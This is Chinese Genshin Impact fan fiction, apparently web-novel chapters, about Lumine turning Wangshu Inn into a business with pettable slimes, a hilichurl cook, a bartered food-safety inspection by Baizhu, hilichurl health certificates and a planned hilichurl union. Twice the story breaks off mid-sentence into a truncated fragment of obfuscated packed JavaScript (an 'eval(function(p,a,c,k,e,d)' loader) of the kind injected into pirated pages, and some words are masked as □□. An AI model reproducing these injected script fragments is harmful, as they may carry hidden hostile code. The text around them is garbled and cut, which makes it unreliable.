在心里吐槽： 这繁殖速度也太快了！一天就多了十几只！ 照这个速度,过不了多久客栈就要被史莱姆占领了！ "荧，怎么办？"派蒙也傻眼了。 荧想了想："新生的这些，先养着。等它们长大了，再加入抚摸区。" "可是这样下去，史莱姆会越来越多。"派蒙担忧。 "那就扩大抚摸区。反正一楼平台空间够大。而且史莱姆越多,抚摸区的选择就越多，客人也会更多。"荧说。 她拿出本子，开始记录："抚摸区史莱姆数量确认：水史莱姆15只，火史莱姆12只……" 在心里她补充： 得定个规矩，每周确认一次数量，防止丘丘人"不小心"搞混把有编制的吃了。 第三天。 一个眼尖的客人发现了问题。 "老板。你们丘丘人员工不是吃烤史莱姆吗？那边抚摸区养着的不会被吃掉吧？"他指着角落里正在啃烤史莱姆的初号机。 荧面不改色："我们有严格的管理制度。有名字的不能吃。" 客人将信将疑地看向初号机，又看向抚摸区里懒洋洋晒太阳的史莱姆们。 派蒙凑过去小声解释："简单说，有编制的是同事，没编制的是食材。" 客人："这合理吗？" 荧严肃地说："客人是觉得有什么地方不合理？比如，您现在不就在吃着一份糖霜史莱姆吗？" 这时初号机端着一盘新烤好的史莱姆路过—— 那是它今天上午从野外抓的。 抚摸区的史莱姆们集体转头看了一眼,然后默契地摆出更可爱的姿势—— 仿佛在说"我们可是有名字的"。 客人："……" 他沉默了三秒，又看看了自己手里的甜品和抚摸区的史莱姆，掏出10摩拉："给我来一次抚摸。" 一周后。 荧坐在前台后面，算着这周的账。 "抚摸区第一周总共200人次,收入2000摩拉！她数着摩拉。 派蒙欢呼："我们终于盈利了！" 荧看着账本，"丘丘舞表演平均每天800摩拉,抚摸区平均每天280摩拉左右，加上茶水和偶尔的住宿费，我们现在每天能赚1500摩拉左右。" "太好了！"派蒙高兴的绕着荧飞。 "但还欠四十多万。"荧略微有点丧，但是又细细的算了遍账后鸡血起来道"按这个速度,我们只需要两百多天就能还清了！" 荧自我催眠自顾自的唱起 "赚钱啦！赚钱啦！我们赚钱啦~~ 哟哟切克闹~ 今天是个好日子呀~好日子~" 派蒙："……" 这一会儿丧一会鸡血的荧真是让人有种槽多无口。 就在这时，初号机跑来报告。 "呀呀！" 它指指地窖,一脸着急。 "怎么了？"荧问。 初号机做出"很多"的手势,又指指地窖。 荧心里一紧："该不会……" 她和派蒙赶紧下到地窖。 推开房间门—— 满地都是小史莱姆。 密密麻麻，少说有五十只。 "这，它们一周就生了这么多？！"派蒙震惊。 荧扶额。 在心里崩溃： 史莱姆繁殖速度也太恐怖了！ 这样下去客栈真的要变成史莱姆养殖场了！ "怎么办？"派蒙问。 荧想了想："先养着。等它们长大了再优胜劣汰。" "可是地窖快装不下了。"派蒙道。 "那就开二号馆？"荧不太确定。 "二号馆？"派蒙有些不解。 荧说，"地窖第三层不是还空着吗？把那里也改成养殖区。" "可是第三层有那扇岩元素门……" 荧说："先不管那扇门。反正现在打不开。其他空间够用就行。" 她拿出本子,开始记录新规定： 史莱姆管理条例： 1.有工牌的是员工，没工牌的是食材 2.每周确认一次数量 3.丘丘人领餐前必须检查工牌 4.新生史莱姆统一培训后再分配工牌 "好了。这样应该不会出乱子了。"她合上本子。 派蒙看着满地的小史莱姆："荧，你说我们是开客栈的，还是开宠物店的？" 荧不在乎地说："管他呢！只要赚钱只要能还债，开什么有那么重要嘛！" 她看着这群活蹦乱跳的史莱姆,在心里美滋滋： 就算最后不能全都拿来当宠物也是一大波免费的储备食材呀！ 金手指丘丘人除了会做烤史莱姆还会做各种史莱姆菜肴以及部分人类食材，这日子是越来越有奔头了！ 虽然越来越往不懂的方向发展。 荧略微回神后开始记录最新的财务报告： 收入：2000摩拉（抚摸区第一周）+ 其他收入约7000摩拉 支出：伙食费约7000摩拉（一周） 净收入：2000摩拉左右（已经开始盈利） 账本余额：约39,850摩拉 债务：500,000摩拉 荧合上账本自我打气："努力！目标今年内还清债务！" 派蒙飘过来："荧,你说我们下一步该做什么？" 荧随口回："当然是继续想办法赚钱。这个客栈的地理位置这么好，史莱姆抚摸区又这么受欢迎~~" 她眼睛一亮。 "说不定可以继续搞点新项目！" 8. 白术的廉价咨询 史莱姆抚摸区开业一周后，荧决定搞点新项目。 她坐在前台后面，拿着本子认真规划："派蒙，我觉得光靠抚摸区和丘丘舞还不够。望舒客栈的地理位置这么好，过往客商那么多，我们应该开个餐饮业务！" 派蒙眼睛一亮："卖吃的？太好了！我们可以卖什么？" 荧斩钉截铁："杏仁豆腐！望舒客栈最有名的就是杏仁豆腐！游戏里魈最爱吃这个，我们做出来肯定能大卖！" 在心里她继续盘算：杏仁豆腐成本低、卖价高、利润大！而且望舒客栈本来就有做杏仁豆腐的传统，只要我学会了，每天至少能多赚几千摩拉！还债指日可待！ 派蒙犹豫："可是荧，你会做吗？" 荧信心满满："不会可以学啊！我在原世界好歹也做过饭，虽然不太好吃，但至少能吃。杏仁豆腐又不复杂，肯定能学会！" 派蒙想起上次荧烤史莱姆的惨状——五只史莱姆全烤焦了，最后还是丘丘人自己重新烤的。 她小声说："要不我们还是请专业的厨师？" 荧理所当然："请厨师要钱！我自己学，省一笔工资！" 在心里吐槽：能省就省！虽然我厨艺确实不太行，但杏仁豆腐应该很简单吧？游戏里看起来就是把杏仁磨成粉，加糖加水凝固就行了，应该没问题吧？ 第二天一早。 荧站在厨房里，面前摆着杏仁、糖、琼脂和一堆工具。 她撸起袖子："好！开始！" 第一步：磨杏仁。 她把杏仁倒进研钵，开始用力研磨。 十分钟后，她看着研钵里还是颗粒状的杏仁："怎么还没碎？是我力气太小吗？" 派蒙在旁边说："要不加点水？" "对！" 荧加了水，继续磨。 结果研钵里变成了一滩糊糊，看起来像泥浆。 荧不确定："这对吗？" 派蒙也不确定："应该对吧？" 第二步：加糖。 荧倒了一大勺糖进去。 派蒙问："等等，这会不会太甜了？" 荧说："甜一点好！游戏里杏仁豆腐就是甜的！" 她又加了半勺。 第三步：加琼脂。 荧看着手里的琼脂粉，犹豫了。 "这个要加多少？" 派蒙也懵了："不知道。" 荧一拍大腿："算了，感觉着来！" 她倒了一大把琼脂粉进去，然后开始煮。 十分钟后，锅里的液体开始沸腾。 荧兴奋："快好了！" 她把液体倒进模具，放在一边冷却。 半小时后，她打开模具，里面是一坨黑乎乎、硬邦邦的东西。 派蒙震惊："这是杏仁豆腐？" 荧戳了戳那坨东西："好像凝固过头了。" 她试着尝了一口，立刻吐了出来："呸！太甜了！而且硬得像石头！咬都咬不动！" 她沮丧："失败了。" 派蒙安慰："没事，第一次嘛，再试试？" "对！再来！" 第二次。 荧决定少加点琼脂。 结果冷却后，液体还是液体，根本没凝固。 第三次。 荧决定严格按照配方比例。 但她在磨杏仁的时候不小心把研钵打翻了，杏仁粉撒了一地。 第四次。 荧终于做出了一个看起来像样的杏仁豆腐——白色，半透明，形状完整。 她激动："成功了！" 派蒙也兴奋："快尝尝！" 荧夹起一块，放进嘴里，立刻吐了出来："噗！苦的！而且有股怪味！" 派蒙也尝了一口，立刻露出痛苦的表情："这什么味道，像泥土？" 荧看着手里的杏仁豆腐，陷入了沉思。 在心里崩溃：为什么！为什么我做的杏仁豆腐会失败！游戏里看起来明明很简单啊！我是不是真的没有厨艺天赋，不对！一定是我方法不对！我再试试！ 第五次。 第六次。 第七次。 到了下午，厨房里堆满了失败的杏仁豆腐——有的太硬，有的太软，有的太甜，有的太苦，有的根本没凝固。 荧瘫坐在地上，整个人都麻了。 她虚弱地说："我不行。" 派蒙也累瘫了："荧，要不我们还是请厨师吧。" 荧还在坚持："请厨师要钱。" 就在这时，初号机走进厨房。 它看了看满地的失败品，又看看荧，歪着头。 "呀？" 荧捂脸："你别问了，我做杏仁豆腐失败了，七次。" 初号机走到灶台前，看了看剩下的材料，然后开始动手。 熟练地磨杏仁、加水、加糖、加琼脂、煮沸、倒模。 整个流程行云流水，不到二十分钟就做好了。 它把成品递给荧："呀！" 荧看着手里完美的杏仁豆腐——白嫩、半透明、形状完整，还散发着淡淡的杏仁香。 她尝了一口。 甜度刚好，口感软糯，入口即化。 完美。 荧：QAQ 派蒙：(⊙o⊙) 荧崩溃："为什么丘丘人的厨艺比我好啊！我是人类啊！我玩了三年原神啊！我应该比丘丘人强啊！" 在心里吐槽：这什么鬼设定！我穿越后不仅失去了元素力，连厨艺都被丘丘人碾压？！老天你是不是对我有意见啊！金手指丘丘人能不能不要这么全能啊！让我这个老板很没面子啊！ 初号机看着她，露出了一个安慰的表情。 "呀呀。"(没事，我教你) 荧看着它，眼泪都快掉下来了："谢谢你，初号机。" 就在这时，派蒙突然想起什么："荧，既然你要开餐饮业务，是不是应该找个专业人士检查一下？万一食品安全有问题。" 荧愣了一下。 对啊！食品安全！ 她看着厨房——虽然她这几天收拾过，但还是有点乱。而且地窖里还住着一群史莱姆，万一交叉污染。 她站起来："你说得对。我得找个专业的医生来检查一下。" "找谁？"派蒙不懂。 荧说："白术。璃月最有名的药师，不卜庐的老板。他肯定懂食品安全。" 在心里她补充：虽然找白术要花钱，但总比出了食品安全事故再补救强，而且游戏里白术很专业，应该能帮我把关。只是不知道他收费贵不贵，希望能便宜点，最好能砍价！ 派蒙担心："可是白术的诊费。" 荧说："先去问问。说不定能便宜点。" 第二天一早。 荧来到璃月港的不卜庐。 这是一家看起来很高档的药铺，门口挂着"不卜庐"的招牌，里面陈列着各种珍贵药材。 一条白蛇——长生——盘在柜台上，慵懒地说："欢迎光临。找白术看病？挂号费50摩拉。" 荧赶紧说："我不是来看病的。我是来请白术先生帮忙的。" "帮什么忙？" "检查食品安全。" 长生抬起头，看了她一眼："你是望舒客栈的老板？" 荧惊讶："你怎么知道？" 长生说："白术提过你。他听说你们客栈养了很多史莱姆，一直想去看看。" 荧：？？？ "所以他对史莱姆感兴趣？" 长生翻了个白眼："非常感兴趣。每次他找到新研究对象就这样。上次对璃月港的蘑菇痴迷了三个月，差点把药铺改成蘑菇研究所。" 就在这时，后堂传来脚步声。 白术走了出来——戴着眼镜，穿着白色长袍，手里拿着一本医书，整个人透着一股学者气质。 他抬头看到荧："哦，望舒客栈的老板。" 荧紧张地说："白术先生您好。我想请您帮个忙。" 白术微笑："请说。" "我想开餐饮业务，但担心食品安全有问题。您能帮忙检查一下吗？" 白术推了推眼镜："可以。我的食品安全检测服务分三个档次。" 他拿出一份价目表。 不卜庐食品安全检测服务 基础检测：5000摩拉（仅检查设备和环境） 标准检测：10000摩拉（包含食材抽检） 完整检测：20000摩拉（包含员工健康检查和后续跟踪服务） 荧看到价格，整个人都傻了。 在心里崩溃：五千起步？！我账上总共才三万多摩拉啊！而且完整检测要两万？！抢钱啊！ 她艰难地说："那个，白术先生，能不能便宜点？" 白术微笑："这已经是行业标准价格了。毕竟食品安全检测需要专业知识和设备，成本很高。" 荧咬牙："可是我是小本生意，真的付不起这么多钱。" 白术沉思片刻："那你能提供什么？" 荧眼睛一亮——有戏！ 她立刻说："我听长生说，您对我们客栈的史莱姆很感兴趣？" 白术的表情微妙地变化了一下："确实。" 荧抓住机会："那这样如何？我给您无限次、不限量的史莱姆研究权限！您想什么时候来研究就什么时候来，想研究多久就研究多久，想研究哪只就研究哪只！" 白术推了推眼镜，声音平静但眼睛已经亮了："继续说。" 荧继续砍价："而且我们客栈还有丘丘人员工！您不是对魔物文化也感兴趣吗？我可以让丘丘人配合您做研究！" 白术的手开始微微颤抖——虽然他努力保持淡定，但长生已经看出来了。 长生翻白眼："你又要开始了。" 白术咳了一声："还有吗？" 荧想了想："还有杏仁豆腐！我们的丘丘人员工做的杏仁豆腐特别好吃！我可以每个月给您提供！不对，是每天一份！" 白术沉默了三秒。 然后他推了推眼镜："无限次、不限量的史莱姆研究权限，加上一个月的杏仁豆腐供应——每天一份，由丘丘人配送。另外，我免费为你们的丘丘人员工做健康检查，并出具健康证明。作为交换，我需要在检查过程中采集他们的生理数据作为研究样本。" 荧的大脑飞速运转。 在心里盘算：史莱姆研究权限对我来说没成本，反正史莱姆就在那里！而且那么多还在不断繁殖，赠送一批都不亏！杏仁豆腐也是初号机做的，每天一份虽然有点有点亏~但~~刚刚他还说免费给丘丘人做健康检查？！ 那我不就白嫖了体检费？！ 她立刻说："成交！" 白术微笑："很好。那我明天去你们客栈。" "太好了！谢谢白术先生！" 荧兴高采烈地离开了不卜庐。 长生看着她的背影，对白术说："你又赚了。" 白术笑而不语，继续看他的医书。 但长生看得出来，他心情很好——因为他翻书的速度明显加快了。 白术喃喃自语："史莱姆的和平共处机制，丘丘人的生理数据，还有传说中的望舒客栈杏仁豆腐。这次真是收获颇丰。" 长生无奈："你明明就是想白嫖研究机会。" 白术推了推眼镜："这叫互惠互利。" 第二天。 白术来到了望舒客栈。 他带着长生、一个药箱、一个放大镜和一个小本子。 荧热情地迎接："白术先生，您来了！" 白术环顾四周："嗯，先让我看看史莱姆。" 荧带他去了史莱姆抚摸区。 白术看到那群史莱姆，眼睛立刻亮了。 他蹲下来，拿出放大镜仔细观察："水史莱姆、火史莱姆、雷史莱姆，而且每只都有工牌，你们的管理很规范。" 荧尴尬："谢谢夸奖。" 白术开始做笔记，一边观察一边念念有词："体表温度正常，粘液分泌正常，眼神清澈。" 他拿出一个小瓶子，用棉签刮了点史莱姆的粘液："这是样本，回去化验。" 长生在旁边吐槽："看吧，像个小学生做观察日记。" 白术完全没听见，继续专注地研究史莱姆——拿着放大镜趴在地上观察，拿着小本本认真记录，时不时还发出"嗯"、"原来如此"之类的感叹。 半小时后，他终于满足了。 他站起来："好了，可以检查厨房了。" 荧松了口气，带他去厨房。 白术一进厨房，表情就严肃了。 他开始仔细检查——灶台、砧板、刀具、锅碗瓢盆，然后是储物柜、冷藏箱（其实就是用冰史莱姆降温的木箱）、地窖。 荧跟在他后面，越来越紧张。 白术拿出小本子，开始记录。 他拿起一瓶酱油，看了看："这瓶酱油过期三个月了。" 荧："？" 白术指着砧板："生肉和熟食用同一块？" 荧尴尬："呃，我们只有一块砧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白术说："拿着我给你们出具的体检报告，去总务司申请办理。手续费大概50摩拉一个。" 荧在心里又打起了算盘：50摩拉一个，三只丘丘人就是150摩拉，虽然要花钱但至少体检免费了！白嫖了大头！ 派蒙问："丘丘人也能办健康证吗？" 白术推了推眼镜："理论上可以。只要有正规医师的体检报告，总务司就必须受理。当然，这是璃月第一次给魔物办健康证，可能会有些麻烦。" 长生在旁边翻白眼："你就是想看总务司的人面对丘丘人□□时的表情吧。" 白术笑而不语。 荧看着清单，眼泪都快掉下来了。 在心里崩溃：这些改进得花多少钱啊！砧板、炉灶、消毒设备、密封容器，而且还要去总务司□□，想想那些工作人员看到丘丘人的表情就头疼！ 白术收起小本子："不客气。对了，杏仁豆腐。" 荧立刻喊："初号机！" 初号机跑过来："呀？" "做一份杏仁豆腐给白术先生。" "呀！" 初号机立刻去厨房开始做。 二十分钟后，一份完美的杏仁豆腐端了出来。 白术尝了一口，满意地点头："不错。口感细腻，甜度适中，杏仁香味浓郁。" 他赞叹："这是谁做的？" 荧说："我们的丘丘人员工。" 白术看向初号机，眼睛又亮了。 他拿出小本子："丘丘人会做杏仁豆腐？有意思。" 长生无奈："你又要开始记录了？" 白术认真地写："当然。丘丘人的厨艺，这也是很有价值的研究方向。" 荧和派蒙对视一眼。 两人心里只有一个念头：白术真的是研究狂魔。 白术吃完杏仁豆腐，站起来："好了，我该走了。记得按照清单改进。一个月后我会再来检查。" 荧紧张："一个月后？" 白术微笑："对。如果改进得好，我可以给你们开具''食品安全合格证明''。有了这个，你们的餐饮业务就能正式开张了。另外，从明天开始，初号机每天给我送一份杏仁豆腐到不卜庐。" "好的！" 目送白术和长生离开后，荧瘫在椅子上。 她虚弱地说:"派蒙，我们完了。" "怎么了？"派蒙不解，刚才白术说得很清楚啊~ 荧举起那三页纸："你看这清单，光是买设备就要花好几千摩拉，而且还要改造地窖，培训员工，去总务司□□。" "那怎么办？"派蒙不自觉有些着急道。 荧叹气："硬着头皮上呗。白术都说了，这是最基本的要求。要是不改，以后出了食品安全事故更麻烦。" 荧在心里无声的自我安慰：虽然要花很多钱，但总比出事强，而且白术说得对，食品安全是最重要的，得认真对待。再心疼钱，也不能拿客人的健康开玩笑，我虽然抠门，但有底线，该省的省，不该省的绝对不能省！ 她看着清单，继续盘算："第一条，地窖不能混放食材和史莱姆。这个简单，把史莱姆都移到第三层就行了。第二条，买两块砧板。这个不算贵。第三条，更换炉灶。" 她看了看厨房里那个破旧的炉灶，咬牙："算了，换！反正这个炉灶也该换了！" 派蒙问："那钱呢？" 荧说："账上还有三万多摩拉。省着点花，应该够。" "可是。"派蒙想说还要还债。 荧打断她："没有可是！食品安全是底线！该花的钱必须花！" 她拿出纸笔，开始列采购清单。 派蒙看着认真规划的荧，突然觉得她好像变得更靠谱了。 虽然还是很穷，虽然厨艺还是很差，虽然还欠着五十万的债，但至少她在认真经营这个客栈。 荧列完采购清单，抬头看向窗外。 夕阳西下，望舒客栈沐浴在金色的光芒里。 她说："派蒙，明天我们去璃月港采购。争取一周内把清单上的问题都解决。对了，还得安排初号机每天给白术送杏仁豆腐。" 派蒙点头："好！初号机每天去不卜庐，说不定还能学点什么回来！" 荧想了想："也对。反正白术也说了要研究丘丘人，让初号机去送杏仁豆腐，白术肯定会观察它。" 在心里她补充：而且这样一来，初号机每天去璃月港，还能顺便帮我采购点东西，一举两得！我真是个天才！ 她看着手里的清单，嘴角微微上扬：我尽然能白嫖到白术的服务，真的给我们玩家长脸了！！！ 9. 丘丘人工会（上） 白术离开后的几天，荧一直在忙着按照清单改进客栈。 买砧板、换炉灶、购买消毒设备、重新整理地窖——钱哗哗地往外流，账本上的数字一天比一天少。 她坐在前台后面，看着账本叹气。 在心里吐槽：从从容容游刃有余？不存在的！我现在就是匆匆忙忙连滚带爬！ (:з」∠) 派蒙飘过来安慰(っ′ω`c)："但至少厨房规范多了！" 荧点头："对。而且初号机每天给白术送杏仁豆腐，白术那边也没问题。" 就在这时，初号机走过来。 "呀？" 它指指自己，又指指门外，做出送东西的动作。 荧看了看时间："对，该给白术送杏仁豆腐了。去吧。" "呀！" 初号机拿着装好的杏仁豆腐，走向升降机。 荧看着它的背影，突然愣住。 她猛地转向派蒙："等等！派蒙，初号机每天都要去送外卖，客栈这边谁管？" 派蒙也愣住了(⊙o⊙)："对哦！虽然还有二、三、四、五号机，但没人指挥它们干活怎么办？" 荧想了想："得找个领队。但是找谁？" 派蒙建议："要不抽签？" 荧翻了个白眼："抽签？你以为我是欧皇吗？以我的非酋体质，抽出来的肯定是最不靠谱的那个！" 在心里疯狂吐槽：我这运气，抽卡都是告诉金，抽签能抽到什么好的？算了，还是公平竞争吧！ 她走向仓库——二、三、四、五号机正在那里搬货。 "二号机、三号机！" 两只丘丘人停下来，齐刷刷地看着她。 "呀？" 四、五号机也跑过来："呀呀？" 荧清了清嗓子："初号机每天要去送外卖，客栈需要一个新领队。你们谁想当？" 四只丘丘人对视一眼，然后—— 二号机和三号机同时举手。 "呀！" "呀呀！" 而且还是同时跳起来，同时喊出声。 四、五号机在旁边摇头，表示不参加竞争。 荧：？？？ 派蒙：？？？ 荧震惊："你们俩是连体婴儿吗？！这么默契？！" 两只丘丘人继续举手，举得更高了。 荧扶额："好好好，这样吧。试用期考察。二号机管白天，三号机管晚上。一周后我看谁表现好，谁就当领队。" 在心里她补充：基础竞聘，高级内卷！这波我是资本家实锤了！ 两只丘丘人立刻点头。 "呀！" 接下来一周，二号机和三号机疯狂卷。 二号机白天把客栈打扫得一尘不染——甚至连天花板的灰尘都擦了，还主动帮忙招呼客人，笑容比荧还营业。 三号机晚上守夜守得特别认真——它在客栈周围挖了一圈壕沟（虽然只有十厘米深），声称是"防御工事"，连只老鼠都跑不进来。 荧看着两只丘丘人的表现，陷入了纠结。 她对派蒙说："家人们谁懂啊，它们俩都太卷了，我该选谁？" 派蒙也犹豫(???︿???)："确实都挺拼的。" 就在这时，荧看到二号机蹲在客栈旁边的树下，摘了几颗野果子，又摘了朵小花，津津有味地吃着。 荧走过去："二号机，你在干什么？" 二号机举起果子："呀呀！" （这个好吃！） 荧看了看果子，又看看周围的树林和野花。 她突然灵光一闪。 在心里激动：等等！客栈现在只有杏仁豆腐，太单调了！如果能有更多食物选择，客流量肯定会增加！而且野外到处都是可食用的野菜、果子，成本几乎为零！ 她兴奋地说："二号机，你给我灵感了！" 二号机茫然："呀？" 荧立刻召集所有丘丘人："来来来，都过来！我有个新点子！" 五只丘丘人齐刷刷地站好。 荧说："从明天开始，你们四个（二、三、四、五号机）每天去野外摘可食用的野菜、果子。注意，必须是能吃的！摘回来后洗干净，然后——" 她看向初号机："初号机，你每天送杏仁豆腐的时候，顺便把这些野菜也带给白术先生，让他检测一下食品安全。白术先生检测合格后，你就带着检测报告和野菜一起回来。" 初号机点头："呀！" 荧继续说："我们在抚摸区旁边开辟一个自助沙拉区，和厨房分开。客人可以自己挑选野菜、果子，自己做沙拉。收费60摩拉一人！" 派蒙眼睛一亮："这个主意好！" 在心里荧疯狂盘算：野菜成本为零，只需要丘丘人去摘！白术检测也是免费的（在我们的协议范围内）！60摩拉一人，纯利润！这波是活人感商业操作！(?? ? ?) 二号机兴奋地跳起来："呀呀呀！" 荧拍板："就这么办！二号机，你当领队！从今天起你就是''采摘主理人''了！" 二号机高兴得摆出了pose——显然是学客人拍照时的姿势。 三号机在旁边有点失落，耷拉着脑袋。 荧赶紧安慰："三号机别难过，你晚上继续守夜，工资一样，而且我给你加个职位——''夜班主管兼安保主理人''。" 三号机立刻开心了，还敬了个礼："呀呀！" （它是从哪学的敬礼？） 荧满意地点头："好！那就开始执行！明天我们去总务司办健康证，然后自助沙拉区就可以开业了！" 第二天一早，荧带着五只丘丘人来到璃月港总务司。 总务司门口已经排起了长队。 荧看着队伍，叹气："这么多人？" 派蒙数了数："至少三十个。" 荧说："算了，排吧。" 她站到队尾，五只丘丘人老老实实地跟在她后面。 等了十分钟，队伍一动不动。 荧开始不耐烦了："怎么这么慢？" 前面有人回头："你不知道吗？今天是月初，大家都来办各种证件，总务司只有三个窗口开着。" 荧：行吧。 又等了十分钟，队伍前进了一个人。 荧崩溃："这效率是蜗牛速度吗？！" 就在这时，一个穿着华丽的中年男子直接走到队伍前面，插了荧前面那个人的队。 那人刚想抗议，中年男子掏出一袋摩拉："我赶时间，这是补偿。" 那人看了看钱，闭嘴了。 荧在后面看得火大。 在心里吐槽：有钱了不起啊？！有钱就能插队啊？！虽然我也想有钱插队但我没钱啊！ (╯‵□′)╯︵┻━┻ 她正要上前理论，旁边一个老大婶突然大喊："哎呀！有人插队！" 全场的目光瞬间聚焦。 老大婶指着那个中年男子："你这人怎么这样！大家都在排队，你凭什么插队！" 中年男子尴尬："我这不是给钱了吗。" 老大婶说："给钱也不行！这是公共场所，讲究先来后到！" 周围的人纷纷附和。 "对！" "插队不对！" "赶他出去！" 中年男子被群众的正义包围，灰溜溜地回到了队尾。 老大婶转向荧，慈祥地笑："小姑娘，你排在这里，别被欺负了。" 荧感动(??? ????)："谢谢您！" 在心里激动：人间自有真情在！虽然我没帮上忙，但至少正义得到了伸张！ 就在这时，一个总务司的工作人员走出来："刚才有人举报插队，经查属实。为了表彰举报人的正义行为，璃月时报想做个采访。" 老大婶摆手："不用不用，我只是路过。" 工作人员看向队伍："那是谁被插队的？" 荧犹豫地举手："呃，是我。" 工作人员眼睛一亮："太好了！请跟我来，璃月时报的记者想采访你。" 荧：？？？ 派蒙：？？？ 荧懵了："等等，我只是排个队，怎么就要上报纸了？" 工作人员解释："最近璃月在推广''文明排队''活动，你这个案例很典型，可以作为正面教材。" 荧被半推半拉地带到了一边。 一个拿着笔记本的记者迎了上来："你好，我是璃月时报的记者。请问你叫什么名字？" 荧机械地回答："荧。" 记者说："荧小姐，听说你刚才遭遇了插队，但你没有因此起冲突，而是保持了冷静。能说说你当时的想法吗？" 荧在心里吐槽：我当时想冲上去理论来着。 但她嘴上说："呃，我觉得大家都在排队，插队是不对的。所以我，我相信正义终将战胜邪恶。" 记者眼睛发光："说得好！那你带着这五只丘丘人来总务司是办什么业务？" 荧说："办健康证。" 记者愣了一下："给丘丘人办健康证？" "对。" 记者兴奋了："这可是大新闻！璃月第一个给魔物办健 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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"那就是说可以办？" 工作人员艰难地说："理论上可以，但是我得问问上级。" 他站起来，往后堂跑去。 荧和派蒙在原地等。 派蒙小声说："荧，我觉得这个工作人员好像很慌。" 荧也小声回答："废话，他估计这辈子都没见过给丘丘人□□的。" 在心里她吐槽：这波我是提瓦特first blood了，丘丘人□□第一人！以后简历上可以写：望舒客栈主理人、丘丘人工会创始人、璃月魔物就业开拓者！ 五分钟后，一个看起来像主管的人走了出来。 他看了看丘丘人，又看了看体检报告。 他沉思片刻："理论上，只要有正规医师的体检报告，我们就应该受理。但是丘丘人，这确实是头一回。" 荧说："那就是说可以办？" 主管犹豫了一下："可以是可以，但这是璃月的第一例魔物健康证，得留档案。" 工作人员小声建议："主管，这事要不要报备给天权大人？" 主管想了想："报。这么有意思的事，天权大人肯定想知道。对了，顺便问问法务部，有没有关于魔物劳工的相关法律。要是没有，得赶紧立法，不然以后麻烦大了。" 他转向荧："手续费每人50摩拉，五个就是250摩拉。" 荧掏出钱袋，数出250摩拉。 在心里默念：基础花钱，挣钱不基础。但该花的还是得花！(??? ????) 主管接过钱，开始登记："姓名：初号机。种族：丘丘人。职业：客栈员工兼外卖配送员。" 他念着念着，自己都觉得荒诞："种族这一栏，我们以前只填过''人类''、''半仙''、''仙人眷属''，现在居然要填''丘丘人''。" 工作人员小声说："主管，那魔物算不算''非人类生物''？" 主管严肃地说："不能这么写！人家有健康证，就是合法劳动者！要写''魔物族群——丘丘人分支''！" 荧在旁边憋笑。 在心里吐槽：璃月官僚机构的较真精神，此刻展现得淋漓尽致！(?? ? ?) 主管认真地填完了五份健康证："好了。三天后来取证。" "谢谢！" 荧带着丘丘人离开总务司。 主管看着她们的背影，喃喃自语："这年头，连丘丘人都有健康证了。下次是不是该给史莱姆办身份证？" 10. 丘丘人工会（下） 三天后，荧拿到了五份健康证。 崭新的证件，上面贴着丘丘人的"照片"（其实就是白术画的简笔画），盖着总务司的红章。 她兴奋地说："有了这个，我们的餐饮业务就能正式开张了！而且我们还上了璃月时报！" 她拿出一份报纸——头版标题："望舒客栈老板：文明排队的典范，开创魔物就业新模式" 派蒙也开心(ノ≧?≦)ノ："太好了！这下客栈更有名了！" 就在这时，一个穿着华丽的中年男子走进客栈。 他自我介绍："我是璃月商户协会的代表，姓陈。看了璃月时报后，我们对贵店的经营模式很感兴趣。" 荧警惕："有什么问题吗？" 陈先生微笑："没有问题。相反，璃月的人工成本一直很高。如果魔物也能成为劳动力，这对整个商业圈都是革命性的。" 荧明白了："所以你们是来考察的？" 陈先生说："对。如果贵店能证明魔物员工制度可行，我们考虑在全璃月推广。" 荧眼睛一亮。 在心里激动：全璃月推广？！那望舒客栈就是行业标杆了！这波情绪消费到位了，以后靠卖经验就能赚钱！(?′ヮ`)?*: ?? 她立刻说："当然可以！我们客栈的丘丘人员工非常优秀！" 陈先生点头："很好。不过，在正式推广之前，你们需要先通过千岩军的安全审核。" 荧的笑容僵住："千岩军？" 陈先生说："对。毕竟是魔物员工，必须确保没有安全隐患。审核会检查员工管理、应急预案、安全措施等。" 派蒙小声说："就是上次问我们要表演许可证的那个部门？" 荧在心里崩溃：千岩军审核？！听起来就很正规很严格很麻烦啊！我这小破客栈哪经得起这种检查！(:з」∠) 陈先生继续说："不过您不用太担心。只要丘丘人员工没有攻击性，遵守规则，审核应该不难通过。" "那什么时候审核？" 陈先生说："大概一周后。我们会提前通知您。" 陈先生离开后，荧瘫在椅子上："派蒙，我觉得事情开始复杂了。" 派蒙担心(′?ω??`)："千岩军审核，会不会很严格？" 荧叹气："肯定很严格。而且我们还要证明丘丘人员工是安全的、可控的、不会突然发疯攻击客人的。" 在心里她补充：虽然我的丘丘人确实很乖，但鬼知道千岩军会怎么刁难！万一他们要求丘丘人通过什么考试怎么办？丘丘人又不识字！ 就在这时，初号机走过来。 "呀？" 它递给荧一份清单——今天要采购的食材。 荧看着清单，又看看初号机，她突然想到一个问题："派蒙，如果其他商户也开始雇佣丘丘人，它们的待遇怎么办？" 派蒙不解："什么意思？" 荧说："我们给丘丘人的工资是烤史莱姆，包吃包住。但如果其他商户雇佣丘丘人，会不会克扣工资？会不会虐待它们？会不会让它们每天工作十六小时？" 派蒙愣了一下："对哦，这个问题。" 荧想了想："我得建立一个组织，保护丘丘人的权益。不然以后丘丘人被压榨，那我就成了始作俑者了。" 在心里她吐槽：虽然我抠门，但我有底线！我可不想看到丘丘人被当成廉价劳动力压榨！而且，如果我能掌握丘丘人劳工的话语权，那就是垄断生意啊！以后谁想雇丘丘人都得经过我！这波是活人感商业操作！ 她拍桌子："对了！成立工会！" "什么工会？" 荧说："丘丘人工会！制定最低工资标准、工作时间、休假制度。所有雇佣丘丘人的商户都必须遵守！" 派蒙震惊："这听起来好复杂。" 荧认真地说："复杂也得做。我虽然抠门，但不能看着丘丘人被剥削。而且有了工会，望舒客栈的社会责任感就上去了，口碑也会更好！" 她立刻拿出纸笔，开始起草工会章程。 璃月丘丘人工会章程 